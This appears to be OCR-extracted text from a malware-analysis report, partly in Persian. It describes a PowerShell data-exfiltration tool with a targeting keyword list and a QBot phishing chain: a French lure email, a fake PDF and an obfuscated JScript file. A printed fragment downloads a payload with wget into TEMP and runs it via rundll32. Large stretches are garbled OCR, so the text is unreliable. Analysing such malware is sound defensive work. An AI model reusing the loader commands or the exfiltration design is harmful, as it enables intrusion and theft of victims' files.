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lier (1 million downloads on Google Play)
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er (100k downloads on Google Play)
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(10k downloads on Google Play)
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Function

Description

Work( 5disk )

Called for each mounted volume. Identifies directories for potential exfiltration, ignoring a hard-coded
list of directory names.
Calls show () function and passes directory names for all directories that do not match the ignore list.

Show( Sname )

Receives directory names from the wozrk () function. Chunks directories into groups of five and
passes groups of folders to the createdobLocal () function for further processing.

CreateJobLocal as jobs via the start-Job cmdlet.

{ Sfolders )

Receives groups of directories, often in groups of five, and creates PowerShell script blocks to be run

Directory names provided go through an inclusion/exclusion process that uses keywords to select
which directories to pass to the £111 () function to exfiltrate.

£ill(
[string]Sfilen ;
threat actor's web server.
ams )

Called by createdobLocal () to perform the actual data exfiltration via HTTP POST requests to the
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*Q41%", "*1p4@*", "*1@9g*", "*ggrI*",

4 Sl 13S0 laybl> i)lhS )5 42 G
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SISy CapSanl 395 ay Xgid (S aSadb jl @)L b
«.dgdb( 50

L e 2l po con)Swl gl 45 3,5 3l cowd”
Biguuy 45 (2o Jb 0o 9 bghs 10 1 )siaS @ oo
35S (0 63330 |y 35l Jolb

)B39-2> (gLod,Slac jl (2 3wy (50 B 0 45 > )
830353 (2o Yo a2 4 Shl (sl (gh Sl )
9 Wi o> (Lol cuwygd S joid 3)l> 39 >9 35l 62
03db 833355 (sl Jbb 2 Vol 4 SaS (gl (asileS

1> 399

"FQARSE", "FAQLFKF", "F4Q1K*",

"®AS@6FT*", "*A5@6T*", "*Abkommen*", "*ABRH*", "*Abtretung*", "*abwickeln*",

"*ACA*1@95*", "*Accordi*", "*Aceito*",

"*Acordemen®*", "*Acordos®",

"*Acuerde*", "*Acuerdo*", "*Addres*", "*Adres*", "*Affectation®", "*agreem*",
"*Agreemen*Disclosur*", "*agreement*", "*Alamat*", "*Allocation*",
"*angreifen*", "*Angriff*", "*Anmeldeformationen*", "*Anmeldeinformationen*",
"*Anmeldenunter*", "*Anmeldung*", "*Anschrift*", "*Anspruch*", "*Ansspruch*",
"*Anweisung*®", "*AnweisungBank*", "*anxious*", "*Andlise*", "*Apotheke*",
"®ARH*" , "*Asignacidn*", "*Asignatura*", "*Assegnazione*", "*Assignation®",
"*Assignment*", "*Atribuicdo®", "*attorn*", "*Audit*", "*Auditnaadrese*",
"=auffihren*", "*Aufgabe*", "*Aufschilhren*", "*Auftrag*", "*auftrunken*",
"*auftrunkinen*", "*Auswertung®", "*Avaliac3o*", "*Avaliacgdes*", "*Avtal*",
"*palanc*", "*bank*", "*Bargeld*", "*Beldstigung*", "*Benef*", "*benefits*",
"*Bericht*", "*Beschiaftigung®*", "*Betrug*", "*Bewertung*", "*bezahlen*",

"*pbilling*", "*bio*"
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Loops
through

| mounted
drives

($drive in $drives)

ForEach -
Directory group

Work( $drive )

Show($name)
[Groups directories]

@i (—o9 L cmdlet ;1 PowerShell cap)Swl
9wz (glyo «Select-String» ¢ «Get-Childltem» sl
DS (50 03wl 839 T 0w 31 Loesls glyxiwl g
i alal S 9 Slwyso JSlaa 4]y ol sl 9

NS0 Lo
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Gets directory names
from current disk

Cet-Childlitem
S$disk Excludes certain paths
|e.g., "*Backup™",
l "*Boot*", etc.)
ForEach -

Directory

Passes directory
paths to Show()
function

CreateJoblLocal
( $store.folders )

lists

(Include or Exclude
directories based
on includefexclude

Find files in targeted
—®| directories

fill( $file) |

Uploads files via HTTP POST
events to threat actor

Call fill{) to

upload
files
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9 T U s Re:X02718 Caseme _Demande d'information - Mess.. 7 @ — O X
MESSAGE
Thu 4/13/2023 2:20 PM
Re: X02718 Caserne _Demande d'information
To
-Messa_g__g @ CancelationLetter-1800542300.pdf (93 KB)
Bonjour, I
Désolé, pour ma réponse tardive a votre question. Ci-joint le document dont vous avez
besoin.
Merci.
Bonjour,
Mo Items o
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O @ File | CMUsers/User/Desktop/CancelationLetter- 1800542300 pdf Q= % 0O &
To get Futire Gongle Chrome updates, you'll need Windows 10 or later. This computer & using Windaws 7 aarn more X

=  CancelationLetter-1800542300_pdf

This document contains protected files, to display them,
click on the "open" button

Acrobat DC. It's how

the world gets work

done.

Adobe. Adobe loga, the Adobe POF loge, and Aoobat 2re either regitersd tademarks o trademanks of Adabe in the Uniled States andjor other countriss. AT olber
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File Edit Miew Settings 2
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<job id="larker"= %

<script language="jscript"=
function MicrosoftPhotosHeterodromy(Profectitious, adnoun, Unharmonizing, decentre, gigamaree, Be
J/ unhypnotiseEnqueues shiver Unminimizing
var MicrosoftPhotosgorgeableBeggar]ike = "chicotedooley”;
// PrecuneateMediopalatal klootch stocked maxillomandibularTrisensory
562 var MicrosoftPhotosNoumenalistMisparsing = 314; =
570 return 'Antiecclesiastical'}l;
571 // Microbes lebhaft blotching balsamically dschubba BrynzaPresagefully CabritNonintegrable related
57z function MicrosoftPhotoscervicobuccal(Troker, Mouldered, BoathousePeutingerian, Holohedron, dancing, untu
572 var MicrosoftPhotossporogony = 8992;
sta /S asyngamy
575 var MicrosoftPhotossmooth = “DisfeaturementResalt";
576 var MicrosoftPhotosschnauzersProvand = [ 3, 1, "hoyman", "Midsummers", ];
577 /f/ automatized SmilersAbnormalized
578 var MicrosoftPhotoswristwatch = "Transposing”;
s7a  ff consignataryMicroliter Biunigue heterothallicUnboisterously Prutah diapausing
se0  var MicrosoftPhotosgorgonia = [ 1, 3, "pourparty", 2, "UncurtainedCutaneous", 1;
581 // Banisterine Facsimiled
582 var MicrosoftPhotosdicaryotic = [ 2, "Basibracteolate", 1, 1;
583 return "unpopulously};
531 // noncorrelativelylieproofliest VermicularlyUnintrepid
sas function MicrosoftPhotosdodkin({GlycyphyllinImpactor, Influentialunpiqued, Costumier, arrestor, Synteresis
565 var MicrosoftPhotosMigrating = 294;
557 var MicrosoftPhotosantiparagraphicendodontia = "uniateDpagoba';
sg8  var MicrosoftPhotosdisobligation = "nonmunicipal";
580  var MicrosoftPhotosDryadetumIndivisibility = [ "Polyvalence", "SoulsavingTchast™, 1;
se0  // coprosmaUnamusement -
4 |1 »

Ln583:2,855 Col27 Sel0 238 KB ANSI CR+LF INS Default Text

cawl 045 23795 PDF QBOt (sl Jal6 Lauwg3 wsyine WSF Jylé
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) wsplit (™, ™) ; fereach
ourUnmaneuverable in S$ratcher) {try {wget
plendourUnmaneuverable -TimeoutSec 16 -0
nv : TEMP\hibernatorTerminus.lancha;if ((Get-Item
env:TEMP\hibernatorTerminus.lancha) .length —-ge 100000)
tart rundll132
nus.lancha,Nikn;break; }}catch
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LH wermgr.exe (2564) Properties

[ @]le]

|___§e_n_g[§|__ ! Statistics | Performance

Threads | Token | Modules

,_,j b 4 Search Processes (Cirl+k) el

Memory | Environment | Handles

Disk and Metwork I Comment

Strings... |

Refresh

Description
Office Source Engine

Address
Ox23a9000

Size
12 kB

Name

Private (Commit

-
Protec...
RW+G
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